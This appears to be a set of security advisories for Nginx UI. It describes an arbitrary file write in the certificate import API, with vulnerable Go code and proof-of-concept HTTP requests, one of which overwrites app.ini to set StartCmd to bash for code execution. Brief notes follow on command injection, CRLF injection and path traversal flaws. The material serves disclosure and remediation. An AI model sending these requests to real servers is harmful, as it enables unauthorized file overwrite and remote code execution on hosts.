Summary

The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72

go func AddCert(c gin.Context) { var json struct { Name string json:"name" SSLCertificatePath string json:"sslcertificatepath" binding:"required" SSLCertificateKeyPath string json:"sslcertificatekeypath" binding:"required" SSLCertificate string json:"sslcertificate" SSLCertificateKey string json:"sslcertificatekey" ChallengeMethod string json:"challengemethod" DnsCredentialID int json:"dnscredentialid" } if !api.BindAndValid(c, &json) { return } certModel := &model.Cert{ Name: json.Name, SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, ChallengeMethod: json.ChallengeMethod, DnsCredentialID: json.DnsCredentialID, }

err := certModel.Insert()

if err != nil { api.ErrHandler(c, err) return }

content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, }

err = content.WriteFile()

if err != nil { api.ErrHandler(c, err) return }

c.JSON(http.StatusOK, Transformer(certModel)) }

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/writefile.go#L15

go func (c Content) WriteFile() (err error) { // MkdirAll creates a directory named path, along with any necessary parents, // and returns nil, or else returns an error. // The permission bits perm (before umask) are used for all directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing and returns nil.

err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return }

err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return }

if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } }

if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } }

return }

PoC

POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 144 Accept: application/json, text/plain, / Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close

{"name":"poc","sslcertificatepath":"/tmp/test","sslcertificatekeypath":"/tmp/test2","sslcertificate":"test","sslcertificatekey":"test2"}

bash root@aze:~/nginx# ls -la /tmp/test -rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test -rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2

It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.

bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = login Then we overwrite the StartCmd with bash

POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 980 Accept: application/json, text/plain, / Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close

{"name":"poc","sslcertificatepath":"/root/nginx/app.ini","sslcertificatekeypath":"/tmp/test2","sslcertificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = props@pros.com\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","sslcertificatekey":"test2"}

bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = bash

For the new config to be applied the app needs to be restarted

!image

Impact

Arbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.

Nginx UI is a web user interface for the Nginx web server. Prior to version 2.0.0-beta.36, when Nginx UI configures logrotate, it does not verify the input and directly passes it to exec.Command, causing arbitrary command execution. Version 2.0.0-beta.36 fixes this issue.

Summary

Fix bypass to the following bugs

- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m - https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35

Allowing to inject directly in the app.ini via CRLF to change the value of testconfigcmd and startcmd resulting in an Authenticated RCE

Impact Authenticated Remote execution on the host

Nginx UI is a web user interface for the Nginx web server. Nginx UI v2.0.0-beta.35 and earlier gets the value from the json field without verification, and can construct a value value in the form of ../../. Arbitrary files can be written to the server, which may result in loss of permissions. Version 2.0.0-beta.26 fixes the issue.

Nginx UI is a web user interface for the Nginx web server. Prior to version 2.0.0-beta.36, the log path of nginxui is controllable. This issue can be combined with the directory traversal at /api/configs to read directories and file contents on the server. Version 2.0.0-beta.36 fixes the issue.